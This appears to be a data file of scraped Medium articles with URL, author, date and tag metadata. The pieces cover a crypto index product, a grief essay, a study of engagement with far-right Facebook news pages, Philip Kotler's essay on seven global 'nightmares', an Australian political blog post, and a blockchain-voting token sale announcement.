Bankless BED Index took a unique approach to create an index product that is soo wholesome covering the three major themes of crypto — Store of value, Programmable money & Decentralized finance with equal weightage.
A single BED token tracked the performance of Wrapper Bitcoin, Wrapped Ether & Defi pulse index (DPI) with equal weightage.
For a project to be included in BED,
It must have a market cap above $25B.
the protocol must be widely used either as a network or as a smart contract platform.
the asset must have sufficient liquidity for initial inclusion and further rebalances.
ETH 2x Flexible Leverage Index & BTC 2x Flexible Leverage Index
These are cool index products that track the performance of the 2x leveraged positions of those respective assets. This is extremely useful for leverage traders who take collateralized loans to leverage their positions.
When the market faces sudden negative volatility, the chances of the collateralized loans getting liquidated to cover the position are high. Using ETH 2x-FLI or BTC 2x-FLI, the users don’t have to manage or monitor their leveraged position, any action required to avoid liquidation like rebalancing collateral will be done by index managers. Users can just get the benefits of a 2x leverage position at ease.
It internally uses cETH as collateral to get a USDC loan and uses the USDC to buy more ETH. the debt & collateral is accessed through compound finance.
Note: ETH 2x-FLI is also available in polygon, we don't have to worry about high ETH Gas fees while buying it.
Data Economy Index (DATA)
Data Economy Index (DATA) tracks the performance of data-oriented new-age blockchain projects. This is another avenue in which blockchain is trying to revolutionize the existing system.
Currently, all our data is controlled by the big tech monopolies whose track records call for attention to its ethical standards on how it uses user data.
Currently, these are the tokens tracked under DATA,
For a project to be included in DATA, | https://blog.cryptostars.is/index-coop-the-why-what-how-f1b61bc35d98 | [] | 2022-01-01 18:03:47.026000+00:00 | ['Metaverse', 'Altcoins', 'Index', 'Defi', 'Crypto'] |
The Guilt of Being Happy in Spite of Grief | The Guilt of Being Happy in Spite of Grief
My guilt is not rational, but it’s real
Photo by Artem Bali, on Canva
All my life, I’ve been truthful and loyal to my beliefs. I pursued my dreams and did what I had to do to move forward, to grow: as a woman and a human being.
For me, life only makes sense if you’re happy or, at least, investing in being happy.
For a long time, I wasn’t a happy person. Still, I never gave up on trying to be, even growing up in a not-so-happy household, having suffered abuse, betrail, illness, and loss. My life has been hard, but I always kept my head up and my hopes high.
After losing the love of my life, five years ago, I lost our house; I was utterly broke and hopeless, I saw no way out for me. I was living again with my mother, that was, herself, grieving my father’s death. He had died four months earlier.
I was never so unhappy as I was five years ago. I knew I had to do something: it was time to take care of myself. | https://leonabrits.medium.com/the-guilt-of-being-happy-in-spite-of-grief-73d8742b0302 | ['Leona Brits'] | 2019-11-11 20:24:39.270000+00:00 | ['Self', 'Grief', 'Relationships', 'Self Love', 'Personal Development'] |
Far-right news sources on Facebook more engaging | Methodology
To study our research question — how users interact with news and information on Facebook — we obtained lists of U.S. news sources and their Facebook pages from NewsGuard and Media Bias Fact Check, two independent data providers that survey the news ecosystem and rate the political leaning and quality of media. In total, we were able to identify 2,973 news and information sources with both a political and quality evaluation from either NewsGuard or Media Bias Fact Check, as well as a Facebook page with an average of more than 100 followers.
We then downloaded all public posts between August 10th, 2020, and January 11th, 2021 from these Facebook and Instagram pages using Facebook’s CrowdTangle tool, a total of 8.6 million posts. From CrowdTangle, we collected data on how many users follow these pages, and how many likes, comments, or other interactions each of these pages’ public posts have garnered.
Engagement on Facebook and Instagram with far-right news sources was particularly pronounced on Election Day and again on January 6, the day of the U.S. Capitol riot.
Analysis reveals more engagement with extreme content
When we look at interactions per follower of a news page from the perspective of political leaning, we observe that content from sites rated as politically “extreme” tends to generate more interactions. This is consistent with findings from other researchers of social media in the 2020 elections. (Goldstein, The German Marshall Fund; Nilolav et al., Harvard Misinformation Review.)
Particularly, news sources rated as far-right generate the highest average of interactions per follower with their posts, followed by news outlets from the far-left, and then publications closer to the center of the political spectrum. To determine this, we added up all the interactions with posts from each political leaning and divided them by the sum of followers the respective pages had that week.
Far-right and Far-left news sources peaked on key dates; less intense for other news sites
Also worth noting is that engagement with posts from far-right news sources peaked both around Election Day and on January 6, the day of the certification of the electoral count, as well as the U.S. Capitol riot. For posts from all other news sources, the increase in engagement was much less intense. In the week of January 6th, for example, far-right news sources generated just over 500 interactions for every thousand followers of the page. Slightly-right or slightly-left news sources reached only around 150 interactions per thousand followers that week.
Far-right news sources suffer no “misinformation penalty”
Given the widely reported disinformation around election fraud in the lead-up to the election and the extremism that surfaced at the Capitol, we were concerned about news sources that spread misinformation and conspiracy theories. Both Media Bias Fact Check and NewsGuard sources evaluate, among other criteria, whether a news source is a consistent spreader of misinformation or conspiracy theories.
For far-right news sources, misinformation significantly outperforms non-misinformation; for all other political leanings, there is a misinformation penalty resulting in lower engagement per follower.
When we look only at the far-right, we see that misinformation sources significantly outperform non-misinformation sources: Far-right sources designated as spreaders of misinformation had an average of 426 interactions per thousand followers per week, while non-misinformation sources had an average of 259 weekly interactions per thousand followers. Being a consistent spreader of far-right misinformation appears to confer a significant advantage.
All other partisan categories, however, do incur what we call a misinformation penalty, although the penalty for slightly-right sources was very small. Center sources, for example, averaged 79 weekly interactions per thousand followers of non-misinformation pages compared to an average of 24 for misinformation sources; center misinformation sources performed about 70% worse than their non-misinformation counterparts. (We define misinformation penalty as a measurable decline in engagement for news sources that are unreliable.) Here, we note that many of the sources flagged as both ‘center’ and ‘misinformation’ are primarily focused on health topics and therefore do not fit neatly into a “right” and “left” ideological framework.
Directions for future research
These preliminary results raise some interesting questions for future work.
How do far-right news publishers manage to engage more with their readers, and why does the misinformation penalty not apply to that category?
We have to be careful about what these data do and don’t tell us. For example, we can’t say anything about how many people saw any of the posts we are examining. Facebook’s CrowdTangle provides researchers with information about engagement, reactions, shares, and comments, but not impressions — how many people actually saw a piece of content, spent time reading it, and so on.
Further research is needed to determine to what extent Facebook algorithms feed into this trend, for example, and to conduct analysis across other popular platforms, such as YouTube, Twitter, and TikTok. Without greater transparency and access to data, such research questions are out of reach.
Lastly, we looked at engagement relative to the pages’ follower base; higher relative engagement for far-right sites doesn’t imply that there’s more far-right content on Facebook, or that Facebook users prefer far-right content.
In conclusion, we found that far-right sources receive considerably more engagement per follower than pages with other political leanings. Furthermore, far-right misinformation sources are the only ones that engage better with their followers than non-misinformation sources of the same partisanship as an aggregate. We’re looking forward to learning more about the news ecosystem on Facebook so that we can start to better understand the whys, instead of just the whats. | https://medium.com/cybersecurity-for-democracy/far-right-news-sources-on-facebook-more-engaging-e04a01efae90 | ['Cybersecurity For Democracy'] | 2021-03-04 19:24:11.615000+00:00 | ['Conspiracy Theories', 'Misinformation', 'Facebook', 'Far Right', 'News'] |
SEVEN NIGHTMARES AND THREE POLICIES FOR MODERATING THEM | Philip Kotler
April 14, 2020
The Sarasota Institute
In thinking about mankind’s future, one can be either an optimist or a pessimist.
Let’s start with an optimistic mindset. Taking a long view of mankind’s history, humans have moved far beyond the Neanderthal stage and today homo sapiens are the dominant human species. Humans have passed through the hunter/gatherer stage, the agricultural stage, and the industrial stage. Post-industrial mankind is equipped with the tools of science and technology. World poverty has been substantially reduced. Wars are fewer and less disastrous. Many people around the world own homes, drive cars, and have steady jobs.
If one wants to be optimistic about mankind’s future, read Steven Pinker’s book, Enlightenment Now.[i] Steven Pinker is a Harvard professor of cognitive psychology. His basic argument is that humans have made substantial progress in every single measure of human well-being. He supports this with seventy-five charts of the timeline behavior of human well-being variables such as longevity, income, democracy, equal rights, safety, literacy, sustenance, and happiness. Each well-being indicator improves over time, not evenly, but substantially. Since the end of the Cold War, the world has experienced fewer civil wars, genocides, and autocracies. Since the 1950s, the world experienced “a cascade of Rights Revolutions including civil rights, women’s rights, gay rights, children’s rights, and animal rights.”
Pinker acknowledges that some well-being indicators can worsen for a time, but their general movement shows improved well-being. Most people are not aware of this progress. Our daily news focuses on bad happenings. News editors prefer the approach of “if it bleeds, it leads.” Our daily headlines carry awful stories of war, terrorism, crime, pollution, inequality, drug abuse, and oppression. We are constantly reminded of existential threats of overpopulation, resource shortages, and nuclear war. Readers end up with a pessimistic mind-set, often with a feeling of existential anxiety.
Pinker hopes to make a convincing case for optimism. An optimist believes that the world could be made much better than it is today. He hopes that we will see “newborns who will live more than eight decades, markets overflowing with food, clean water that appears with a flick of a finger and waste that disappears with another, pills that erase a painful infection, sons who are not sent off to war, daughters who can walk the streets in safety, critics of the powerful who are not jailed or shot, the world’s knowledge and culture available in a shirt pocket.”
Pinker summarizes where mankind stands today: “We live longer, suffer less, learn more, get smarter, and enjoy more small pleasures and rich experiences…Fewer of us are killed, assaulted, enslaved, oppressed, or exploited.”
Are we better off as Pinker suggests? The answer is yes if you read Seth Godin’s description of life in the year 1960 and how much we progressed.[ii]
“The world was a twitch away from total nuclear destruction. White bread was a health food. Diabetes and obesity were relatively rare. The newspaper was the way most people heard about the news. We thought things were moving very fast, frighteningly fast. Women rarely worked outside the home, and the Rev. King was a relatively unknown preacher. No one owned a computer. The number of books published every year was quite small, as was the local bookstore. It was almost impossible to spend more than 45 minutes a day keeping up with current events. It was against the law for blacks and whites to marry in Virginia, and for gay couples to marry just about anywhere. Apartheid was mostly unremarked upon in the US. UPS never came to your house. A long-distance phone call was a big deal. Air conditioning was rare, bottled water had not been invented yet, there were no billionaires, there were three or four channels of TV, movies were only shown in movie theaters, and most dangerous diseases would certainly kill you. The air and water were clean, but we were working overtime to make them dirty. Congress wasn’t a version of pro wrestling. Milk came in only one formulation (whole), you probably worked at the same company for a very long time and relatively few people went to college.”
We can agree that mankind’s past presents a record of human progress. The question, however, is whether human progress will continue? Will the great majority of human beings continue to progress to enjoy more satisfying lives?
Or can pessimists make the case that human progress is over and the future of mankind will be marked by anxiety and despair.
We know that young children worry about many things, such as losing their parents, getting injured, not have enough to eat. And full grown adults carry many worries about their future. Michelle Goldberg, the New York Times journalist, described her observation:[iii]
“Pessimism is everywhere: in opinion polls, in rising suicide rates and falling birthrates, and in the downwardly mobile trajectory of millennials. It’s political and it’s cultural. At some point in the last few years, a feeling has set in that the future is being foreclosed. When, in the 1970s, the Sex Pistols sang “There is no future,” there was at least a confrontational relish to it. Now there’s just dread.”
A recent book, The Precipice: Existential Risk and the Future of Humanity by Toby Ord, cites many existential threats to mankind. Ord raised the question of how much mankind should invest now to prevent or reduce the threat level of several different possible blows to mankind. He even estimates the likelihood of each threat happening (see Jim Holt, “The Power of Catastrophic Thinking,” The New York Review, February 25, 2021.)
The Rise of Seven Nightmares
Adults need to discuss not only their personal fears about their own future but also their nightmares about the future of mankind. Mankind is haunted by seven different nightmares about mankind’s future. These nightmares, starting with the worse, are:
1. The planet ends.
2. The planet can no longer feed and support 7.7 billion people.
3. The planet will be awash with water damage and water shortages.
4. Robots and AI will take over most jobs and create mass unemployment.
5. A great war will break out between the U.S. and China.
6. Civil unrest will grow with fighting between the haves and have-nots.
7. Countries will increasingly fall under authoritarian leaders and Fascism
What are the sources of these nightmares? Can we estimate a probability of occurrence for each nightmare? Are there actions that mankind can take to prevent these nightmares from occurring?
Let examine the underpinnings of each nightmare.
1. The Planet Ends
Some distinguished thinkers, including Elon Musk, worry that planet earth will expire at some point. This would mean the end of mankind as well. Mankind clearly needs to find another planet to inhabit. It could be the moon, but if earth is destroyed, the moon might also collapse. Elon Musk is betting on Mars as the best second best planet to live on. His aerospace company, Space X, is working to set up Mars as mankind’s next habitat. During the next few years, Space X will send supplies of water and equipment to Mars. By 2024, Space X will send its five month space mission to Mars with a crew ready to live on Planet Mars.
The fear that the earth will end has many sources.
1. That the earth will be hit by a major asteroid. Some scientists estimated that a 7.5 mile-wide asteroid crashed into the ocean 66 million years ago in a port town in Mexico with an impact that wiped out the majority of dinosaurs.
2. That the sun will die. Many stars die millions of years after birth. When a star runs out of hydrogen fuel, it will contract under the weight of gravity.
3. That the earth’s oxygen will disappear or be insufficient to support life.
4. That the earth’s temperature might rise to unlivable levels of heat or conversely, temperature might fall to freezing levels that will kill all life.
5. That the earth will be hit by solar flares. A solar flare is a sudden release of solar magnetic energy that emits radiation that can kill human life.
6. That the earth will be infected by a mass disease like the Black Death in the 13th century that killed half of Europe’s population or the Spanish flu of 1918 that infected 500 million people worldwide and killed an estimated 20 to 50 million victims.
7. That the earth will be destroyed by nuclear war, biological war or collisions with asteroids.
The main concern is that these events are non-predictable and non-preventable. Most earthlings would be smart not to waste time worrying about the end of the earth because they can do little about it. Leave the “end of the earth” concerns to the imagination of science fiction writers.
2.The Planet Can No Longer Feed and Support 7.7 Billion People
The second nightmare has to do with world population growth. In 1970, the world population was 3.7 billion. By 2011, the world population grew to 7.0 billion. Today (2020) the world population stands at 7.7 billion. The UN expects the world population to grow to 9.8 billion by 2050. The nightmare would be that the earth cannot feed so large a population. The amount of arable land is limited and the top soil is getting poorer. Several parts of our oceans are dead zones with no living marine life.
A recent book, Empty Planet by Darrell Bricker and John Ibbitson, takes issue with the U.N.’s forecast and believes that population will eventually decline.[iv] They see global population peaking around 2050 at 8.5 billion and declining by 2100 to 7 or 8 billion. They cite the declining fertility rates in many countries. In Japan, women want a career and prefer no or few children, especially because their husbands don’t help their wives in raising children. The more empowered women are, the more likely they will want fewer children. The more people who move from rural to urban areas, the fewer the number of births. More than 70 percent of the world’s population now live in urban areas where food, housing and clothing costs are high. In the U.S., the poor depend on government food stamps and other programs. Recently President Trump said that he would hope to move 3 million people off food stamps. This is disturbing.
Is the earth able to support even 7.7 billion people? In the world, 800 million people can’t get enough calories. Two billion can’t get enough nutrients. More children will inflate our medical costs in a vicious circle.
Dr. Christopher Kevin Tucker, author of A Planet of 3 Billion, claims that the largest population that the earth [v]can support is 3 billion![vi] He is the President of the American Geographical Society and says that we need to eat less meat, use our water more carefully, and take another set of steps. He warns that “humanity’s century-long binge has incurred an unsustainable ecological debt that must be paid down promptly, or else cataclysm awaits.” He wants us to go back to the 3.7 billion that populated the early during the First Earth Day in 1970. He is aware that we can’t bring the human population down from 7.7 billion to 3 billion but makes us aware that overpopulation is a major problem that has been neglected.
3. The Planet Will be Awash with Water Damage and Water Shortages
Even if we find a way to feed all the people in the world, we will still face a set of water catastrophes. The first problem is whether the earth can supply people with enough fresh and drinkable water. About 2.5% of the Earth’s water is freshwater. But only 31 percent of this water is accessible because 69% is in the form of ice cap and glaciers in places like the Antarctic and Greenland ice sheet. Given that 31 percent of the 2.5% fresh water is available, equates to 1% of all the water is fresh. A further worry is that salt water is penetrating fresh water areas that will require more expensive desalinization applications to take place. Of the 1% freshwater, most of the third world countries don’t have the resources to provide safe and clean water. Many deaths occur in India due to the poor quality of drinking water, a problem that Bill Gates addressed recently in his campaign to help India sanitize its water supply.
The second problem is flooding. As our economy continue to release green gases and methane into the atmosphere, these heat trapping elements cause the ocean to heat and glaciers to melt, resulting in raising the sea level. The tragedy is dramatized by the sight of polar bears left standing on a fragment of floating ice facing imminent death. The rising sea level is flooding coastal cities such as Miami, New Orleans, Venice and many others. Whole barrier islands will get covered with water and many important cities and countries will face hardship and destruction.
A third problem is the destruction of marine life. Many species of fish depend on healthy coral reefs in the ocean. Unfortunately many coral are dying due to ocean acidification and diseases. Furthermore tons of plastic and other industrial items enter the ocean and kill many species.
The good news is that steps are being undertaken by major environmental firms to reverse the destructive effects of industrialization. The economy’s growth has depended for its energy on nonrenewable sources such as coal, oil, and gas, all of which produce CO2 and heat the earth’s air and water. Slowly the world is turning to solar, wind and other forms of renewable energy that is not carbon-producing. A good case can be made for countries to turn to nuclear energy that does not pollute the earth’s atmosphere. Other measures are to help companies, farmers and citizens to conserve water more carefully and distribute it more equitably. Otherwise, there will be a large number of places suffering from inadequate water supply while other places are awash with too much water covering and drowning their landscape.
4. Robots and AI Will Take Over Most Jobs and Create Mass Unemployment
During most of human history, mankind had to do hard work physically and mentally to procure and provide sufficient food, clothing and shelter. Early man had to gather food from plants and kill animals. They moved from hunting/gathering to farming and animal husbandry that required great physical effort throughout the year. Industrialization brought them into factories and offices requiring a variety of physical and mental work. Advances in technology and the digital age made it possible to carry out some jobs with mechanical equipment and electrical energy. To reduce labor costs, enterprises examined every job that could be done at lower cost by mechanical and electrical means and computer programs. Many physical jobs were replaced by machines and assembly lines. Many mental jobs were replaced by algorithms and artificial intelligence. Accountants had less work to do. Lawyers could search for court cases more quickly. Grocery clerks might became less necessary as new type groceries are managed by sensors, facial recognition and credit cards. Deliveries can done by drones or automated trucks, not requiring so many truck drivers.
Does this sound like a nightmare or a blessing? It is nice to have less work or simpler work but the disappearance of jobs mean the disappearance of wages. If most work can be automated and done without human effort, the result is mass unemployment. The first problem is how to get an income when there is no job? The second problem is what are workers to do when they no longer have to work?
The most logical solution to the income loss is UBI, the. UBI is Universal Basic Income a model for providing all citizens of a country with a given monthly sum of money, regardless of their income, resources or employment status. The government would raise some of this money by cutting other social programs designed to support people with insufficient income. Some of this money would come from passing higher income taxes on the wealthy, including a wealth tax. The rest of the money would come by the government printing more money. UBI could take other forms, such as not paid to persons with adequate incomes, and money being deposited to each baby born, not to be available until age 18.
What about the problem of workers having no work. Persons who have had a job all their life have a difficult time in retirement. If they had no hobbies, or learning interests, or travel interests, they are left with watching television or card playing for entertainment. Fortunately, there is a growing literature on how to spend time enjoying leisure.[vii] The economist John Maynard Keynes in the 1930s predicted that his grandkids would work just 15 hours a week. He imagined that we would basically work Monday and Tuesday, and then have a five-day weekend. He thought his kids could lead a wonderful life this way.
5. A Great War Will Break Out Between the U.S. and China.
The fifth nightmare is that another great global world war will break out, possibly between the U.S. and China. Another great global world war is not likely to happen if there is a prevailing superpower nation with great military strength that behaves wisely and no one dares to attack. This was the U.S.’s position during the thirty years following the Second World War. Fortunately, two of the powerful but defeated states, Germany and Japan, had converted into peaceful states. They were able to grow their economic and political power through peace means rather than through war. Russia, U.S.’s partner during World War 2, sought to challenge U.S. power in what erupted as the Cold War. The U.S. worked hard to contain Russia’s expansion and power, and this kept war from breaking out. The falling of the Berlin War in November 9, 1989 marked the end of the Cold War and the fall of communism in Eastern and Central Europe.
In the 1980s, China’s growth took off rapidly. China became the “world’s factory” in supplying the rest of the world with cheap consumer products. China turned to technology and built a large number of steel plants and used the steel to construct skyscrapers and modern railroads and dams. China then invested heavily in the digital revolution building major software companies such as Alibaba, Tencent and Baidu (their answer to Amazon, Facebook, and Google). Then China came up with the brilliant idea of building a “belt and road system” that would facilitate the movement of its goods from China all the way to Europe, using mainly its own labor and finances. By bringing construction and businesses into surrounding countries and financing their development, China acquired political power and respect and occasionally took over assets from foreign businesses that couldn’t pay back their loans. Today the world faces two great powers, the U.S. and China, each with a very different political system. The U.S relies of private enterprise company for it economic growth. China also relies on many strong private companies but the difference is that China does much more long term planning and has greater influence on its state and private companies and their policies. The economic battle is between a highly decentralized economy that observes well-accepted business norms and a highly centralized economy that steals technologies from abroad, keeps some its important markets closed or at a disadvantage to foreign companies, and keeps its currency artificially low.
No one is saying that China or the U.S. is likely to decide to go to war. China can continue to gain more wealth and power through peaceful means than through war. The U.S. sees China doing its best to gain power in the South China sea and continues to engage in some unbusiness-like activities that irritate the U.S. The U.S. initiated the trade war with China believing that China would easily slow down and change its ways. But the trade war hasn’t ended and has produced a great cost to both nations. China continues to build its navy and its military strength, as the U.S. does the same. Hopefully, no major incident or issue occurs to bring either party to start a war with the other.
Wars can still break out in other areas, such as with Iran or an unsettled situation in Syria or the middle east. But none seem to pose more than a regional war. not a global world war.
6. Civil Unrest Will Grow with Fighting Between The Haves And Have-Nots
One can imagine a long period of civil unrest coming out of an enduring polarization of the two political parties that refuse to get along or compromise. As long as the income difference grows larger between the haves and have-nots, the have-nots, if organized, will go after the wealthy. Major social revolutions have taken place in the past in the Russian Revolution, the Chinese Revolution and in other areas. In the United States, some white supremists groups are gathering arms and expressing their discontent with migrants, politicians, or the wealthy class. They wave their guns and in some cases act as “domestic terrorists.”
The wealthy have to do more than just build high fences and hire guards as they often do in South American countries. They have to moderate their gains and allow more money to flow into the pockets of the poor and the working class. There are now some well-known billionaires such as Warren Buffett and Bill Gates asking to pay higher top rate income taxes and higher wages to the working class. Politicians and political parties must call for more equity in the sharing of the fruits of productivity gains and the gross national product.
7. Countries Will Increasingly Fall Under Authoritarian Leaders and Fascism
Civil unrest and disappointment can breed populist politicians who outline and promise good sounding reforms to get elected. Once in power, they do their best to divide the population between those for them and those against them. They describe certain groups as plotting against them or lying about them. They charge that the press is against them and creating and distributing fake information. They complain about the decisions coming out of biased judges. They oppose investigations into their activities and vilify their critics. In the end, they become autocrats or dictators and few people have the courage to attack them or speak against them.
We have seen the rise of authoritarian leaders and the slipping of democracy in such countries as Turkey, Poland, Hungary, Philippines and elsewhere. It is as if the public is crying for stability and ready to support a leader who is willing to suppress noisy critics.
Countries need a strong set of institutions that provide checks and balances. The executive must be subject to the will of the elected legislators. Both have to support to the basic principles of their Constitution as assessed by a free and unbiased Supreme Court.
Three Alternative Policies for
Moderating these Nightmares
Why do I present these seven nightmares? Partly because many citizens are distressed or displeased with the way things are going. Many feel deep anger, fear or hopelessness. The seven nightmares have different probabilities of occurrence and present different levels of harm. Not all nightmares can be addressed by one platform. There is a need to shape a vision of the future that might make gain wide support from a majority of citizens.
What becomes clear is that there are three competing visions for how to best respond to these nightmares. They are:
(1) the standard economic growth model,
(2) the degrowth, depopulation model,
(3) the wealth redistribution model.
1. The Standard Economic Growth Model
The U.S. has been applying the standard economic growth model through its history and it has yielded a high level of economic growth and prosperity. The model grants a high level of economic freedom for business leaders to use market forces to build their businesses, jobs and incomes. The government plays a background role in providing defense, civil services, infrastructure of roads and ports, public education and public safety, all of which are needed for businesses to perform profitably. The government avoids directing the economy but does respond with remedies when threatening situations arise, such as recessions, disease outbreaks, or weather related emergencies.
This model is likely to continue because it has worked so well in raising the living standards of citizens. But the same model produces some of our nightmares, such as the overheating of the planet, the deteriorating condition of the oceans, the overconcentration of wealth and the continuation of poverty and inadequate incomes.
2. The Degrowth, Depopulation Model
A number of economists and social critics have proposed replacing the standard economic growth model with a degrowth, depopulation model. They fear that the planet’s carrying capacity cannot well support even today’s 7.7 billion people, let alone the predicted 9.8 billion forecasted for 2050. They predict that a growing number of people will go hungry, lack water, get ill and lead to earlier death or rebellion and turn to authoritarian leaders full of promises that they cannot deliver.
The degrowth, depopulation model calls for taking a number of bold steps.
1. Getting citizens and companies to switch away from nonrenewable energy (coal, oil, gas) to renewable energy from solar, wind, and possibly nuclear energy.
2. Training people, companies and farmers to use less water and share fairly its water with water-deprived areas.
3. Getting people to buy less clothing and reuse, recycle or redistribute clothing to others
4. Getting companies to do a better job of designing their products and distribution systems to minimize waste and short lived products.
This de-growth model also calls for efforts to reduce population growth. This means an active effort to encourage families to have fewer children. Consider China’s “one child” policy:
China made this decision in 1979 (after a decade-long two-child policy) to better control its population growth. A second child would go without the benefits enjoyed by the first child. The family would be shamed for trying to have more than one child. The policy was partly aimed at rural and religious groups who believed in larger families needed for labor and to provide assistance to parents in old age. The one-child policy led some families to abort or kill female children when x-rays showed that the pregnant woman was bearing a daughter, not a son. Giving birth to only one son led to the phenomenon of the “boy king” whose family did everything possible to please the boy. After all, this boy would be responsible as an adult to provide and protect his parents when they were old.
In 2016, the Chinese government changed the policy to permit families to have two children. The government saw a new problem emerging in the form of not enough girls for the sons to marry. The government had successful limited population growth but at a high price.
The depopulation movement does not have to be one of limiting families to having only one or two children. The real need is to sell “family planning” accompanied by a wide distribution of condoms and other means of preventing pregnancies. Thailand was able to reduce its population birthrate from 7 children per family to 2 children per family. Thailand’s Population and Community Development Association (PDA) gave a prize to Dr. Mechai Viravaidya, who passionately promoted condoms to the Thai public. He spoke at a variety of events, proclaiming “The condom is a great friend. You can blow a balloon with it. You can get it in different colors. You can get it at toolbooths and washrooms.”
The real need is to discourage families who habitually or religiously insist on having a large number of children. The Catholic church sees children as a blessing and encourages Catholic families to have as many children as possible. A similar attitude occurs in Muslim families. In rural communities in developing countries, families would like to have six children because three of them are likely to die in childhood, leaving three children to help work in the farm. What this means is that depopulation promotion calls for different strategies and appeals put out to different groups. This also calls for continuing to empower women to stand up for their right to say how many children they will have and to marry the right men who agree to their wish.
3. The Wealth Redistribution Model
Getting citizens to move from the standard economic growth model to the degrowth, depopulation model is likely to produce hardship for a number of people. With slower economic growth, there will be fewer jobs and lower incomes. It is not fair to let a substantial number of lower income people to bear even more pain and suffering for the sake of bringing down the population size. Those who are unemployed have to receive financial support and social welfare. If the government supports the unemployed by printing money, this is likely to produce inflation and the rise in prices will fall heavily on those who are already poor. The answer has to be passing more taxes on the wealthy, in the form of a higher top income tax rate and possibly a wealth tax. The average CEO who used to be paid about 20–40 times what the average worker in their firm earned today is paid over 300 times what the average worker in their firm is paid. Why should a huge number of citizens be without a basic standard of living while a small class of people live with much more wealth than they ever need. There are not only people who have achieved a wealth of 1 billion dollars but many billionaires have many billions of dollars. The economic system seems rigged to a lot of citizens and if this gets worse, this can lead to rebellions or authoritarian leaders who suppress the rebellion. Citizens need to discuss their views on how much wealth disparity is too much. The question is increasingly being asked: “Should billionaires exist?”
Conclusion
The article has described seven nightmares that no longer should be hidden under a rug. They all deserve extended discussion. Some nightmares are extreme and not very likely to happen being very preventable. Other nighmares are quite real and threaten to change our lives drastically. We do not need to overheat our planet and allow our cities to be flooded and our oceans destroyed of marine life. We can use technology to grow more food and create less waste. We can reduce our physical labor and improve our lives with robots and AI. When unemployment strikes, we can give financial support through generous social welfare programs. We can try to avoid wars and use soft power to calm warring parties. We need to provide a more equitable distribution of income and strive to eliminate poverty. We need to expose politicians presenting false claims and cures about what can realistically be done to improve people’s lives. Where there is life, there is hope.
Endnotes
[i] Steven Pinker, Enlightenment Now: The Case for Reason, Science, Humanism, and Progress, Viking, 2018.
[ii] Seth Godin, “58 Years Ago”, July 18, 2018.
[iii] Michelle Goldberg, “Darkness Where the Future Should Be,” The New York Times, January 26, 2020.
[iv] Darrell Bricker and John Ibbitson, Empty Planet, New York, Crown, 2019.
[vi] Christopher Kevin Tucker, A Planet of 3 Billion, kindle edition, 2019.
[vii] Henry A. Feldman, 40,000 Hours: Optimizing Retirement, 2019. | https://medium.com/@4pkotler/seven-nightmares-and-three-policies-for-moderating-them-364447d8e19 | ['Philip Kotler'] | 2021-02-23 16:23:55.318000+00:00 | ['Earth', 'Humanity', 'Solutions', 'Planets', 'Threat Detection'] |
Victory on the Chaplaincy programme — scuttled by Labor. What?? | I just learned that the High Court has ruled against the Chaplaincy programme indirectly, by ruling that the funding model was not constitutional. As this type of funding model is also used by the commonwealth to fund about 400 other programmes, this is going to give the Abbott government a massive headache.
Despite the court ruling, however, Abbott has gone on record to say that he will do whatever it takes to keep the chaplaincy programme going. Excuse me?
Just to quickly recap for those who may not have been following this issue ; the Abbott government refuses to fund professional counsellors in schools, but clings to this ridiculous, religious patronage. Unless your child happens to belong to the denomination favoured by Tony Abbott, he or she will not get much value from this so-called caring programme. Yet this is exactly what Abbott supports.
Egalitarian? No.
An appropriate use of taxpayer funds during a horror budget? No.
Respectful of our multicultural, multi-faith, sexually diverse society? Hell no.
But I’m not saving all my bile for the Abbott government. Labor gets a big fat serve as well. Instead of coming out against this farce, Labor apparently will support coalition legislation designed to make the programme — ‘legal’.
I have very little time for Bill Shorten, but this is beyond belief. Is Labor brown-nosing that diminishing segment of Australian voters who are white, protestant or catholic and over 60?
Not happy, Bill, not happy at all.
acflory | https://medium.com/tikh-tokh/victory-on-the-chaplaincy-programme-scuttled-by-labor-what-3fb729d70df3 | ['A.C. Flory'] | 2018-02-26 23:50:13.553000+00:00 | ['Politics', 'Religion', 'Australia', 'Education', 'Chaplaincy'] |
Voting for a Mobile Future | How Votem is Improving Trust, Transparency, and Efficiency in Voting
Freedom House recently released a report detailing the increased level of ‘meddling’ by foreign entities in national elections. Reports of Russian interference in the U.S. and external influences in at least 17 other countries were highlighted. These findings are on the heels of several published reports that show trust in the democratic process is at an all-time low.
To address these attacks on democracy, we set about a bold course almost three years ago to build a more secure and reliable voting experience for both public and private elections with a level of verifiability, accessibility, security, and transparency that doesn’t exist today.
Our singular goal is to restore trust in elections globally.
By leveraging the power of Votem’s blockchain voting platform, organizations will realize the benefit of having every vote independently validated, cryptographically secured, made fully transparent and immutably permanent. This means a more efficient way to administer elections with unparalleled security.
With more than 5 million votes cast to date and clients including the Rock and Roll Hall of Fame and the State of Montana, we have a proven track record of helping companies and governments build trust, increase voter turnout, and most importantly, offer a secure and verifiable online solution for voters.
Current voting mechanisms are well-known by security experts to be vulnerable to attack. Many technology solutions are insecure, both because they are outdated (a study by the Brennan Center showed that 43 states in the U.S. were using voting machines for public elections that were at least a decade old), and because they are privately owned by only a handful of providers who have little incentive to improve them.
Many people think that paper ballots are the only solution to these industry problems. However, paper-based systems, which are still used by three-quarters of the U.S., come with their own risks, not to mention an extraordinarily high cost for governments and by extension, their constituents.
Given our trusted operational experience, we understand that solving this issue is not easy and technology alone is not a panacea. The scale and complexity of modern elections require a combination of technological innovation, organized processes, and dedicated elections people. For example, in Los Angeles County, the 2016 General Election required 25,000 poll workers across 4,523 sites, ultimately costing over $42 million.
We acknowledge the big job ahead of us and know that we can’t do it alone. It will take a community of interested parties to help us strengthen our platform, localize it for language and jurisdictional regulations, and deploy it globally for use in all types of elections.
With these objectives in mind, we have decided to launch our VAST Token through a public token sale early next year with a private pre-sale starting immediately.
To maintain the highest level of integrity and regulatory compliance, the Votem offering will be conducted using a Simple Agreement for Future Tokens (“SAFT”), an SEC-compliant open source framework produced by Cooley LLP, Protocol Labs, AngelList and CoinList. We are thrilled to be one of the first companies to leverage the SAFT framework.
At Votem, we believe that true innovation starts with rethinking some of our most basic and most important systems. For us, this means rebuilding trust in voting by creating the new, transparent, and secure standard for election-based decisions.
It’s time to rebuild our trust in voting.
We hope you’ll join us. Check out our token sale Executive Summary at https://votem.io and subscribe to our mailing list for more information on our token sale.
###
